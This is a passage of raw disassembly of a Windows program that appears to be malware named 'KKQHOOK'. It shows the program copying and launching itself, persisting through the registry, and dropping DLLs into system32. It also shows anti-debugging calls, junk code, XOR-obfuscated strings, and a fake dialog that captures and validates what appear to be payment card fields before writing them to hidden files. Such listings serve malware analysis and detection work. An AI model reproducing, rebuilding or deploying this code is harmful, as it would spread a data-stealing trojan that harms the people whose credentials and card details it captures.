[ebp+var_77C], ax push 0 lea eax, [ebp+var_268] push eax lea eax, [ebp+var_45C] push eax call sub_40C5F0 ; CopyFileA lea eax, [ebp+var_2D] push eax call sub_403D18 mov [ebp+var_5C], 1Eh push 4 push 4 lea eax, [ebp+var_5C] push eax push offset aKkqhook ; "KKQHOOK" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_4015B0 add esp, 34h push 0 lea eax, [ebp+var_268] push eax call sub_40C6BC ; WinExec call sub_40C4B8 ; GetCurrentProcessId call sub_4041B6 call sub_40C554 ; GetVersion mov eax, 10h sub eax, dword_43C098 push eax call sub_40C494 ; ExitProcess mov eax, dword_446A4D mov [ebp+var_780], eax loc_40AA7C: ; CODE XREF: sub_40A74E+1A8j push 5 push offset aVyV_0 ; " vY v" call sub_40129C push offset aKkq32_dll ; "kkq32.dll" push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax push offset dword_41FB70 call sub_40C9D4 mov [ebp+var_26A], 4374h movzx eax, [ebp+var_26A] imul eax, 5336h mov [ebp+var_26A], ax push 5 push offset aVyV_0 ; " vY v" call sub_40129C push offset aDnkkq_dll ; "dnkkq.dll" push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax push offset dword_40F0A0 call sub_40C9D4 mov [ebp+var_26C], 79A5h movzx eax, [ebp+var_26C] imul eax, 40AAh mov [ebp+var_26C], ax push 5 push offset aVyV_0 ; " vY v" call sub_40129C push offset aDatkkq32_dll ; "datkkq32.dll" push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax push offset dword_40DFE0 call sub_40C9D4 push 0FFh push offset dword_414EF0 call sub_40C578 ; GetWindowsDirectoryA mov [ebp+var_26E], 1DA7h add [ebp+var_26E], 3CACh push 9 push offset aYgjjqVV ; "Ygjjq+v|v" call sub_40129C push eax push offset dword_414EF0 call sub_40C9F8 call sub_40C548 ; GetTickCount lea eax, aKkqhook ; "KKQHOOK" mov [ebp+var_31], eax call sub_40C518 ; GetProcessHeap mov eax, ds:dword_41EB6C mov [ebp+var_45], eax lea eax, sub_40B090 mov [ebp+var_51], eax push 7F00h push 0 call sub_40C770 ; LoadCursorA mov [ebp+var_3D], eax lea edi, [ebp+var_785] lea esi, aMZ ; "M/#Z" mov ecx, 5 rep movsb push 7F03h push 0 call sub_40C788 ; LoadIconA mov [ebp+var_41], eax and [ebp+var_35], 0 push 0 call sub_40C86C ; GetStockObject mov [ebp+var_39], eax mov [ebp+var_274], 3FEFh inc [ebp+var_274] mov [ebp+var_55], 3 and [ebp+var_4D], 0 and [ebp+var_49], 0 lea eax, [ebp+var_55] push eax call sub_40C818 ; RegisterClassA mov [ebp+var_278], 525Ah mov eax, 4BA5h mul [ebp+var_278] mov [ebp-7B0h], eax mov [ebp+var_278], eax push 0 push ds:dword_41EB6C push 0 push 0 push 0 push 0 push 0 push 0 push 0CA0000h push offset aKkqhook ; "KKQHOOK" push offset aKkqhook ; "KKQHOOK" push 0 call sub_40C83C ; CreateWindowExA mov ds:dword_41C900, eax mov [ebp+var_279], 6Fh sub [ebp+var_279], 9Fh push offset aKkqhook_30 ; "KKQHOOK_30" push 0 push 0 call sub_40C6D4 ; CreateMutexA mov [ebp+var_27C], 7954h sub [ebp+var_27C], 69B5h push 2 call sub_402AD6 add esp, 5Ch call sub_40C548 ; GetTickCount call sub_40C554 ; GetVersion cmp eax, 80000000h jb short loc_40ACEF call sub_40C548 ; GetTickCount push 0Ch push offset aNWkI67Aii ; "n`wk`i67+aii" call sub_40129C push eax call sub_40C500 ; GetModuleHandleA mov edi, eax push 16h push offset aWBlvqWvWslfUwj ; "W`blvq`wV`wslf`Uwjf`vv" call sub_40129C add esp, 10h push eax push edi call sub_40C50C ; GetProcAddress mov [ebp+var_7B8], eax mov [ebp+var_7B1], 68h movzx eax, [ebp+var_7B1] imul eax, 1515h mov [ebp+var_7B1], al call sub_40C4B8 ; GetCurrentProcessId mov edi, 10h sub edi, dword_43C098 push edi push eax call [ebp+var_7B8] lea edi, [ebp+var_7BD] lea esi, a4nvc ; "4NC" mov ecx, 5 rep movsb loc_40ACEF: ; CODE XREF: sub_40A74E+525j mov ax, word_446A5B mov [ebp+var_787], ax push 104h lea eax, [ebp+var_568] push eax push 0 call sub_40C4F4 ; GetModuleFileNameA call sub_40C518 ; GetProcessHeap lea eax, [ebp+var_568] push eax call sub_4034C6 call sub_40C554 ; GetVersion push offset dword_41FB70 call sub_4034C6 call sub_40C5D8 ; IsDebuggerPresent push offset dword_40F0A0 call sub_4034C6 call sub_40C4B8 ; GetCurrentProcessId push offset dword_40DFE0 call sub_4034C6 call sub_40C4B8 ; GetCurrentProcessId push eax call sub_403780 call sub_40C4C4 ; GetCurrentThreadId lea edi, [ebp+var_78E] lea esi, aWwwl4u ; "Wwwl4u" mov ecx, 7 rep movsb lea eax, [ebp+var_2E0] push eax call sub_403A7B mov [ebp+var_346], 6459h inc [ebp+var_346] and [ebp+var_34C], 0 mov [ebp+var_350], 64h mov ebx, 65BCh mov eax, ebx add eax, ebx mov ebx, eax push 45h push offset aVjcqrdwYhlfw_0 ; "Vjcqrdw`YHlfwjvjcqYRlkajrvYFpww`kqS`wvl"... call sub_40129C lea edi, [ebp+var_34C] push edi lea edi, [ebp+var_350] push edi lea edi, [ebp+var_344] push edi lea edi, [ebp+var_2E0] push edi push eax push 80000002h call sub_401490 push 1 push offset aN_1 ; "N" call sub_40129C push eax lea edi, [ebp+var_344] push edi call sub_403883 call sub_40C554 ; GetVersion push 1 push offset aS_0 ; "S" call sub_40129C push eax lea edi, [ebp+var_2E0] push edi call sub_403883 mov eax, dword_446A64 mov [ebp+var_792], eax lea edi, [ebp+var_798] lea esi, aYiso ; "`YIsO" mov ecx, 3 rep movsw push 17h push offset aFivlayVylkuwjf ; "FIVLAY vYLkUwjfV`ws`w67" call sub_40129C lea edi, [ebp+var_344] push edi push eax lea edi, [ebp+var_766] push edi call sub_40C9D4 call sub_40C5D8 ; IsDebuggerPresent lea eax, [ebp+var_34C] push eax lea eax, [ebp+var_350] push eax lea eax, [ebp+var_667] push eax push 0 lea eax, [ebp+var_766] push eax push 80000000h call sub_401490 call sub_40C5D8 ; IsDebuggerPresent lea eax, [ebp+var_667] push eax call sub_4034C6 lea edi, [ebp+var_7A0] lea esi, aN@bln5p ; "N@bLn5P" mov ecx, 2 rep movsd call sub_403B8E lea edi, [ebp+var_7A6] lea esi, word_446A76 mov ecx, 3 rep movsw push offset sub_40815F call sub_407FE2 add esp, 8Ch mov [ebp+var_352], 277Bh add [ebp+var_352], 57F7h lea eax, [ebp+var_7AC] push eax push 0 push 0 push offset sub_409883 push 0 push 0 call sub_40C704 ; CreateThread push eax call sub_40C530 ; CloseHandle mov [ebp+var_353], 40h movzx eax, [ebp+var_353] imul eax, 28BCh mov [ebp+var_353], al push 0 mov eax, dword_43C094 add eax, 1F3h push eax mov eax, 10h sub eax, dword_43C098 push eax push ds:dword_41C900 call sub_40C77C ; SetTimer jmp short loc_40AF66 ; --------------------------------------------------------------------------- loc_40AF3C: ; CODE XREF: sub_40A74E+829j lea edi, [ebp+var_7B8+1] lea esi, aO3@ ; " $o~3@" mov ecx, 7 rep movsb lea eax, [ebp+var_1D] push eax call sub_40C7E8 ; TranslateMessage lea eax, [ebp+var_1D] push eax call sub_40C7F4 ; DispatchMessageA call sub_40C5D8 ; IsDebuggerPresent loc_40AF66: ; CODE XREF: sub_40A74E+7ECj push 0 push 0 push 0 lea eax, [ebp+var_1D] push eax call sub_40C7A0 ; GetMessageA or eax, eax jnz short loc_40AF3C pop edi pop esi pop ebx leave retn 10h sub_40A74E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF80 proc near ; DATA XREF: sub_408EFF+8C5o ; sub_408EFF+8EEo ... var_18 = dword ptr -18h var_E = byte ptr -0Eh var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov ebx, [ebp+arg_0] lea edi, [ebp+var_6] lea esi, byte_446A83 xor ecx, ecx inc ecx rep movsb mov eax, [ebp+arg_4] cmp eax, 100h jz short loc_40AFB4 jmp short loc_40B015 ; --------------------------------------------------------------------------- mov [ebp+var_18], 140Fh add [ebp+var_18], 7C4Bh loc_40AFB4: ; CODE XREF: sub_40AF80+22j cmp [ebp+arg_8], 9 jnz short loc_40B015 call sub_40C4E8 ; RtlGetLastWin32Error cmp ebx, ds:dword_410630 jnz short loc_40AFD2 push ds:dword_432DC4 call sub_40C758 ; SetFocus loc_40AFD2: ; CODE XREF: sub_40AF80+45j cmp ebx, ds:dword_432DC4 jnz short loc_40AFE5 push ds:dword_41EB64 call sub_40C758 ; SetFocus loc_40AFE5: ; CODE XREF: sub_40AF80+58j call sub_40C548 ; GetTickCount cmp ebx, ds:dword_41EB64 jnz short loc_40AFFD push ds:dword_41EB5C call sub_40C758 ; SetFocus loc_40AFFD: ; CODE XREF: sub_40AF80+70j call sub_40C5D8 ; IsDebuggerPresent cmp ebx, ds:dword_41EB5C jnz short loc_40B015 push ds:dword_432DC4 call sub_40C758 ; SetFocus loc_40B015: ; CODE XREF: sub_40AF80+24j ; sub_40AF80+38j ... and [ebp+var_4], 0 cmp ebx, ds:dword_432DC4 jnz short loc_40B029 mov eax, ds:dword_41FB64 mov [ebp+var_4], eax loc_40B029: ; CODE XREF: sub_40AF80+9Fj lea edi, [ebp+var_E] lea esi, aR3lf9 ; "$R3LF9-" movsd movsd cmp ebx, ds:dword_41EB64 jnz short loc_40B044 mov eax, ds:dword_41EB60 mov [ebp+var_4], eax loc_40B044: ; CODE XREF: sub_40AF80+BAj call sub_40C518 ; GetProcessHeap cmp ebx, ds:dword_410630 jnz short loc_40B059 mov eax, ds:dword_40DFD0 mov [ebp+var_4], eax loc_40B059: ; CODE XREF: sub_40AF80+CFj mov [ebp+var_5], 40h add [ebp+var_5], 1 cmp ebx, ds:dword_41EB5C jnz short loc_40B071 mov eax, ds:dword_413E14 mov [ebp+var_4], eax loc_40B071: ; CODE XREF: sub_40AF80+E7j cmp [ebp+var_4], 0 jz short loc_40B089 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ebx push [ebp+var_4] call sub_40C710 ; CallWindowProcA loc_40B089: ; CODE XREF: sub_40AF80+F5j pop edi pop esi pop ebx leave retn 10h sub_40AF80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B090 proc near ; DATA XREF: sub_40A74E+41Eo var_275 = byte ptr -275h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_246 = byte ptr -246h var_245 = dword ptr -245h var_241 = byte ptr -241h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_238 = byte ptr -238h var_139 = dword ptr -139h var_135 = byte ptr -135h var_132 = byte ptr -132h var_131 = dword ptr -131h var_12D = dword ptr -12Dh var_129 = byte ptr -129h var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = byte ptr -11Ch var_11B = byte ptr -11Bh var_11A = word ptr -11Ah var_118 = dword ptr -118h var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_106 = byte ptr -106h var_105 = byte ptr -105h var_104 = byte ptr -104h var_5 = byte ptr -5 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 278h push ebx push esi push edi lea edi, [ebp+var_5] lea esi, aGra ; "#GRA" mov ecx, 5 rep movsb mov eax, [ebp+arg_4] cmp eax, 10h jz loc_40B2F6 jg short loc_40B0C8 cmp eax, 2 jz loc_40B2CF jmp loc_40B98B ; --------------------------------------------------------------------------- loc_40B0C8: ; CODE XREF: sub_40B090+28j cmp eax, 111h jz loc_40B406 cmp eax, 113h jz short loc_40B0FA cmp eax, 111h jl loc_40B98B cmp eax, 138h jz loc_40B311 jmp loc_40B98B ; --------------------------------------------------------------------------- call sub_40C554 ; GetVersion loc_40B0FA: ; CODE XREF: sub_40B090+48j cmp dword_43C21C, 0 jz loc_40B26B mov [ebp+var_240], 0E88h mov eax, 0BE8h mul [ebp+var_240] mov [ebp+var_274], eax mov [ebp+var_240], eax push 9 push offset aAjfjgoFq ; "AjfJgo`fq" call sub_40129C push eax push dword_43C21C call sub_408E57 mov [ebp+var_24C], eax mov [ebp+var_245+1], 390Ah add [ebp+var_245+1], 69A4h push 8 push offset a@UijwW ; "@}uijw`w" call sub_40129C push eax push [ebp+var_24C] call sub_408E57 add esp, 20h mov [ebp+var_250], eax mov byte ptr [ebp+var_245], 81h movzx eax, byte ptr [ebp+var_245] imul eax, 6827h mov byte ptr [ebp+var_245], al lea eax, [ebp+var_260] push eax push [ebp+var_250] call sub_40C728 ; GetWindowRect or eax, eax jz loc_40B26B mov [ebp+var_246], 2 movzx eax, [ebp+var_246] imul eax, 21FDh mov [ebp+var_246], al lea eax, [ebp+var_270] push eax push ds:dword_41FC74 call sub_40C728 ; GetWindowRect or eax, eax jz loc_40B26B mov eax, [ebp+var_258] sub eax, [ebp+var_260] sub eax, 4 mov edx, [ebp+var_268] sub edx, [ebp+var_270] cmp eax, edx jnz short loc_40B221 mov eax, [ebp+var_254] sub eax, [ebp+var_25C] sub eax, 4 mov edx, [ebp+var_264] sub edx, [ebp+var_26C] cmp eax, edx jz short loc_40B26B loc_40B221: ; CODE XREF: sub_40B090+170j call sub_40C548 ; GetTickCount push 1 mov eax, [ebp+var_254] sub eax, [ebp+var_25C] push eax mov eax, [ebp+var_258] sub eax, [ebp+var_260] push eax push 0 push 0 push ds:dword_41FC74 call sub_40C854 ; MoveWindow mov [ebp+var_275], 1Ch movzx eax, [ebp+var_275] imul eax, 67F2h mov [ebp+var_275], al loc_40B26B: ; CODE XREF: sub_40B090+71j ; sub_40B090+119j ... cmp dword_43C218, 0 jz loc_40B9A9 mov word ptr [ebp+var_240+2], 4BD8h movzx eax, word ptr [ebp+var_240+2] imul eax, 518Ch mov word ptr [ebp+var_240+2], ax mov eax, dword_43C218 mov dword_43C21C, eax mov eax, dword_446A91 mov [ebp+var_245+3], eax and dword_43C218, 0 push dword_43C21C call sub_408EFF pop ecx mov ax, word_446A95 mov word ptr [ebp+var_245+1], ax jmp loc_40B9A9 ; --------------------------------------------------------------------------- loc_40B2CF: ; CODE XREF: sub_40B090+2Dj mov eax, ds:dword_41C900 cmp [ebp+arg_0], eax jnz short loc_40B2E0 push 0 call sub_40C824 ; PostQuitMessage loc_40B2E0: ; CODE XREF: sub_40B090+247j lea edi, [ebp+var_129] lea esi, byte_446A97 xor ecx, ecx inc ecx rep movsb jmp loc_40B9A9 ; --------------------------------------------------------------------------- loc_40B2F6: ; CODE XREF: sub_40B090+22j mov eax, ds:dword_41C900 cmp [ebp+arg_0], eax jnz loc_40B9A9 push [ebp+arg_0] call sub_40C848 ; DestroyWindow jmp loc_40B9A9 ; --------------------------------------------------------------------------- loc_40B311: ; CODE XREF: sub_40B090+5Aj mov eax, [ebp+arg_C] mov [ebp+var_128], eax call sub_40C518 ; GetProcessHeap mov eax, [ebp+var_128] cmp eax, ds:dword_432DBC jz short loc_40B359 cmp eax, ds:dword_413E18 jz short loc_40B359 cmp eax, ds:dword_41B778 jz short loc_40B359 cmp eax, ds:dword_4350B4 jz short loc_40B359 cmp eax, ds:dword_432DC0 jz short loc_40B359 cmp eax, ds:dword_43A398 jnz loc_40B9A9 loc_40B359: ; CODE XREF: sub_40B090+29Bj ; sub_40B090+2A3j ... call sub_40C4C4 ; GetCurrentThreadId mov eax, [ebp+var_128] cmp eax, ds:dword_432DC0 jz short loc_40B374 cmp eax, ds:dword_43A398 jnz short loc_40B383 loc_40B374: ; CODE XREF: sub_40B090+2DAj push 1010B0h push [ebp+arg_8] call sub_40C884 ; SetTextColor jmp short loc_40B38D ; --------------------------------------------------------------------------- loc_40B383: ; CODE XREF: sub_40B090+2E2j push 0 push [ebp+arg_8] call sub_40C884 ; SetTextColor loc_40B38D: ; CODE XREF: sub_40B090+2F1j call sub_40C518 ; GetProcessHeap push 0FFFFFFh push [ebp+arg_8] call sub_40C878 ; SetBkColor and [ebp+var_254], 0 and [ebp+var_250], 0 lea eax, [ebp+var_254] push eax call sub_40C890 ; CreateBrushIndirect mov [ebp-248h], eax mov [ebp+var_240], 7376h mov eax, [ebp+var_240] mov edx, eax add edx, eax mov [ebp+var_240], edx mov eax, [ebp-248h] jmp loc_40B9A9 ; --------------------------------------------------------------------------- mov word ptr [ebp+var_245+3], 4823h movzx eax, word ptr [ebp+var_245+3] imul eax, 5C47h mov word ptr [ebp+var_245+3], ax jmp loc_40B9A9 ; --------------------------------------------------------------------------- loc_40B406: ; CODE XREF: sub_40B090+3Dj mov eax, dword_446A98 mov [ebp+var_12D], eax push 2 push offset aV ; " v" call sub_40129C push offset byte_433F40 push eax lea edi, [ebp+var_238] push edi call sub_40C9D4 add esp, 14h call sub_40C518 ; GetProcessHeap push 0FFh lea eax, [ebp+var_104] push eax push ds:dword_432DC4 call sub_40C71C ; GetWindowTextA mov [ebp+var_110], 40DCh mov eax, 7474h mul [ebp+var_110] mov [ebp+var_240], eax mov [ebp+var_110], eax cmp [ebp+var_104], 0 jnz short loc_40B4B3 mov eax, dword_446A9C mov [ebp+var_245+1], eax push 1Fh push offset aUiDvVIFq@Ulwdq ; "Ui`dv`)%v`i`fq%@}ulwdqljk%Hjkqm" call sub_40129C add esp, 8 push 0 push 0 push eax push 0 call sub_40C794 ; MessageBoxA call sub_40C4B8 ; GetCurrentProcessId push ds:dword_432DC4 call sub_40C758 ; SetFocus jmp loc_40B9A9 ; --------------------------------------------------------------------------- loc_40B4B3: ; CODE XREF: sub_40B090+3E6j push 5 push offset aVV ; " v% v" call sub_40129C lea edi, [ebp+var_104] push edi lea edi, [ebp+var_238] push edi push eax lea edi, [ebp+var_238] push edi call sub_40C9D4 add esp, 18h mov [ebp+var_111], 8Dh sub [ebp+var_111], 1Fh push 0FFh lea eax, [ebp+var_104] push eax push ds:dword_41EB64 call sub_40C71C ; GetWindowTextA mov [ebp+var_118], 3CB9h sub [ebp+var_118], 1299h cmp [ebp+var_104], 0 jnz short loc_40B585 lea edi, [ebp+var_245+2] lea esi, byte_446AA0 xor ecx, ecx inc ecx rep movsb push 1Eh push offset aUiDvVIFq@Ulw_0 ; "Ui`dv`)%v`i`fq%@}ulwdqljk%\\`dw" call sub_40129C add esp, 8 push 0 push 0 push eax push 0 call sub_40C794 ; MessageBoxA mov word ptr [ebp+var_245+3], 5F5Eh movzx eax, word ptr [ebp+var_245+3] imul eax, 7314h mov word ptr [ebp+var_245+3], ax push ds:dword_41EB64 call sub_40C758 ; SetFocus mov ax, word_446AA1 mov word ptr [ebp+var_245], ax jmp loc_40B9A9 ; --------------------------------------------------------------------------- loc_40B585: ; CODE XREF: sub_40B090+48Dj push 5 push offset aVV_0 ; " v( v" call sub_40129C lea edi, [ebp+var_104] push edi lea edi, [ebp+var_238] push edi push eax lea edi, [ebp+var_238] push edi call sub_40C9D4 add esp, 18h call sub_40C4B8 ; GetCurrentProcessId push 0FFh lea eax, [ebp+var_104] push eax push ds:dword_41EB5C call sub_40C71C ; GetWindowTextA cmp [ebp+var_104], 0 jz loc_40B73C mov [ebp+var_11A], 494Ah inc [ebp+var_11A] lea ecx, [ebp+var_104] or eax, 0FFFFFFFFh loc_40B5F1: ; CODE XREF: sub_40B090+566j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B5F1 cmp eax, 4 jb loc_40B73C mov eax, dword_446AA3 mov [ebp+var_131], eax mov [ebp+var_106], 0 jmp short loc_40B637 ; --------------------------------------------------------------------------- loc_40B615: ; CODE XREF: sub_40B090+5C0j movzx eax, [ebp+var_106] mov al, [ebp+eax+var_104] cmp al, 30h jl short loc_40B62B cmp al, 39h jle short loc_40B630 loc_40B62B: ; CODE XREF: sub_40B090+595j jmp loc_40B73C ; --------------------------------------------------------------------------- loc_40B630: ; CODE XREF: sub_40B090+599j add [ebp+var_106], 1 loc_40B637: ; CODE XREF: sub_40B090+583j lea ecx, [ebp+var_104] or eax, 0FFFFFFFFh loc_40B640: ; CODE XREF: sub_40B090+5B5j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B640 movzx esi, [ebp+var_106] cmp esi, eax jb short loc_40B615 call sub_40C4C4 ; GetCurrentThreadId mov [ebp+var_105], 0 jmp loc_40B71B ; --------------------------------------------------------------------------- loc_40B663: ; CODE XREF: sub_40B090+6A4j call sub_40C4B8 ; GetCurrentProcessId mov word ptr [ebp+var_245+1], 0C1Ah movzx eax, word ptr [ebp+var_245+1] mov edx, eax add edx, eax mov eax, edx mov word ptr [ebp+var_245+1], ax mov al, [ebp+var_105] mov [ebp+var_241], al jmp short loc_40B6BC ; --------------------------------------------------------------------------- loc_40B693: ; CODE XREF: sub_40B090+645j movzx eax, [ebp+var_241] movsx eax, [ebp+eax+var_104] movzx edx, [ebp+var_105] movsx edx, [ebp+edx+var_104] cmp eax, edx jnz short loc_40B6D7 add [ebp+var_241], 1 loc_40B6BC: ; CODE XREF: sub_40B090+601j lea ecx, [ebp+var_104] or eax, 0FFFFFFFFh loc_40B6C5: ; CODE XREF: sub_40B090+63Aj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B6C5 movzx esi, [ebp+var_241] cmp esi, eax jb short loc_40B693 loc_40B6D7: ; CODE XREF: sub_40B090+623j mov dword ptr [ebp-248h], 3Bh sub dword ptr [ebp-248h], 23B8h movzx eax, [ebp+var_241] movzx edx, [ebp+var_105] sub eax, edx cmp eax, 3 jg short loc_40B73C mov [ebp+var_24C], 752Fh add [ebp+var_24C], 926h add [ebp+var_105], 1 loc_40B71B: ; CODE XREF: sub_40B090+5CEj lea ecx, [ebp+var_104] or eax, 0FFFFFFFFh loc_40B724: ; CODE XREF: sub_40B090+699j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B724 movzx esi, [ebp+var_105] cmp esi, eax jb loc_40B663 jmp short loc_40B7A1 ; --------------------------------------------------------------------------- loc_40B73C: ; CODE XREF: sub_40B090+542j ; sub_40B090+56Bj ... mov eax, dword_43C098 add eax, 7C1h push eax call sub_40C95C mov [ebp+var_11B], 6Bh add [ebp+var_11B], 54h push 35h push offset byte_446AC9 call sub_40129C mov [ebp+var_245+1], eax push 13h push offset byte_446AB5 call sub_40129C add esp, 14h push 0 push eax mov edi, [ebp+var_245+1] push edi push 0 call sub_40C794 ; MessageBoxA call sub_40C554 ; GetVersion push ds:dword_41EB5C call sub_40C758 ; SetFocus jmp loc_40B9A9 ; --------------------------------------------------------------------------- loc_40B7A1: ; CODE XREF: sub_40B090+6AAj push 5 push offset aVV ; " v% v" call sub_40129C lea edi, [ebp+var_104] push edi lea edi, [ebp+var_238] push edi push eax lea edi, [ebp+var_238] push edi call sub_40C9D4 add esp, 18h lea edi, [ebp+var_132] lea esi, byte_446AA7 xor ecx, ecx inc ecx rep movsb push 0 push 0 push 4 push 0 push 0 push 40000000h push offset dword_41FB70 call sub_40C650 ; CreateFileA mov [ebp+var_124], eax call sub_40C4E8 ; RtlGetLastWin32Error push 2 push 0 push 0 push [ebp+var_124] call sub_40C65C ; SetFilePointer mov [ebp+var_10C], 5EB9h mov eax, [ebp+var_10C] mov edx, eax add edx, eax mov [ebp+var_10C], edx lea ecx, [ebp+var_238] or eax, 0FFFFFFFFh loc_40B834: ; CODE XREF: sub_40B090+7A9j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B834 push 0 lea esi, [ebp+var_23C] push esi push eax lea edi, [ebp+var_238] push edi push [ebp+var_124] call sub_40C6C8 ; WriteFile call sub_40C4B8 ; GetCurrentProcessId push 2 push offset word_446AB2 call sub_40129C add esp, 8 push 0 lea edi, [ebp+var_23C] push edi mov edi, dword_43C094 add edi, 1 push edi push eax push [ebp+var_124] call sub_40C6C8 ; WriteFile call sub_40C5D8 ; IsDebuggerPresent push [ebp+var_124] call sub_40C530 ; CloseHandle lea edi, [ebp+var_135] lea esi, byte_446AA8 mov ecx, 3 rep movsb push ds:dword_41FC74 call sub_40C848 ; DestroyWindow mov [ebp+var_11C], 3Bh add [ebp+var_11C], 1 push 0 push 0 push 4 push 0 push 0 push 40000000h push offset dword_40F0A0 call sub_40C650 ; CreateFileA mov [ebp+var_124], eax call sub_40C5D8 ; IsDebuggerPresent push 2 push 0 push 0 push [ebp+var_124] call sub_40C65C ; SetFilePointer call sub_40C5D8 ; IsDebuggerPresent lea ecx, byte_433F40 or eax, 0FFFFFFFFh loc_40B909: ; CODE XREF: sub_40B090+87Ej inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40B909 mov edi, eax push 0 lea esi, [ebp+var_23C] push esi push edi push offset byte_433F40 push [ebp+var_124] call sub_40C6C8 ; WriteFile call sub_40C554 ; GetVersion push 1 push offset byte_446AB0 call sub_40129C add esp, 8 push 0 lea edi, [ebp+var_23C] push edi mov edi, 10h sub edi, dword_43C098 push edi push eax push [ebp+var_124] call sub_40C6C8 ; WriteFile push [ebp+var_124] call sub_40C530 ; CloseHandle push 5 push ds:dword_41DA74 call sub_40C830 ; ShowWindow mov [ebp+var_120], 0C90h inc [ebp+var_120] jmp short loc_40B9A9 ; --------------------------------------------------------------------------- loc_40B98B: ; CODE XREF: sub_40B090+33j ; sub_40B090+4Fj ... push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40C860 ; DefWindowProcA jmp short loc_40B9A9 ; --------------------------------------------------------------------------- mov eax, dword_446AAB mov [ebp+var_139], eax loc_40B9A9: ; CODE XREF: sub_40B090+1E2j ; sub_40B090+23Aj ... pop edi pop esi pop ebx leave retn 10h sub_40B090 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40B9B0 proc near ; CODE XREF: sub_406D91+1Ap ; sub_406D91+3Bp jmp ds:dword_448340 sub_40B9B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40B9BC proc near ; CODE XREF: sub_40538B+D6p jmp ds:dword_44834C sub_40B9BC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40B9C8 proc near ; CODE XREF: sub_40538B+17Ep jmp ds:dword_448350 sub_40B9C8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40B9D4 proc near ; CODE XREF: sub_406980+55p jmp ds:dword_44835C sub_40B9D4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40B9E0 proc near ; CODE XREF: sub_406980+28p jmp ds:dword_448360 sub_40B9E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40B9EC proc near ; CODE XREF: sub_406980+1Ap jmp ds:dword_448364 sub_40B9EC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40B9F8 proc near ; CODE XREF: sub_40692F+48p jmp ds:dword_448368 sub_40B9F8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA04 proc near ; CODE XREF: sub_408860+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp pusha cld mov edi, [ebp+arg_4] mov eax, 1 stosd mov ecx, 0Fh dec eax rep stosd lea edi, dword_447B48 mov esi, [ebp+arg_0] mov ecx, 10h rep movsd mov edi, [ebp+arg_8] call sub_40BACF xor edx, edx loc_40BA34: ; CODE XREF: sub_40BA04+52j push edx push ebx mov eax, [ebp+arg_8] bt [eax], edx jnb short loc_40BA46 mov edx, [ebp+arg_4] call sub_40BA60 loc_40BA46: ; CODE XREF: sub_40BA04+38j lea edx, dword_447B48 call sub_40BA60 pop ebx pop edx inc edx cmp edx, ebx jbe short loc_40BA34 popa pop ebp retn 10h sub_40BA04 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40BA60 proc near ; CODE XREF: sub_40BA04+3Dp ; sub_40BA04+48p lea edi, dword_447B08 mov ecx, 10h xor eax, eax rep stosd lea edi, dword_447B48 call sub_40BACF loc_40BA7A: ; CODE XREF: sub_40BA60+5Dj lea edi, dword_447B08 mov ecx, 10h xor eax, eax loc_40BA87: ; CODE XREF: sub_40BA60+2Cj rcl dword ptr [edi], 1 lea edi, [edi+4] loop loc_40BA87 call sub_40BAE0 bt dword_447B48, ebx jnb short loc_40BABC mov esi, edx lea edi, dword_447B08 xor eax, eax mov ecx, 10h loc_40BAAB: ; CODE XREF: sub_40BA60+55j mov eax, [esi] adc [edi], eax lea esi, [esi+4] lea edi, [edi+4] loop loc_40BAAB call sub_40BAE0 loc_40BABC: ; CODE XREF: sub_40BA60+3Aj dec ebx jns short loc_40BA7A mov edi, edx lea esi, dword_447B08 mov ecx, 10h rep movsd retn sub_40BA60 endp ; =============== S U B R O U T I N E ======================================= sub_40BACF proc near ; CODE XREF: sub_40BA04+29p ; sub_40BA60+15p mov ebx, 1FFh loc_40BAD4: ; CODE XREF: sub_40BACF+Bj bt [edi], ebx jb 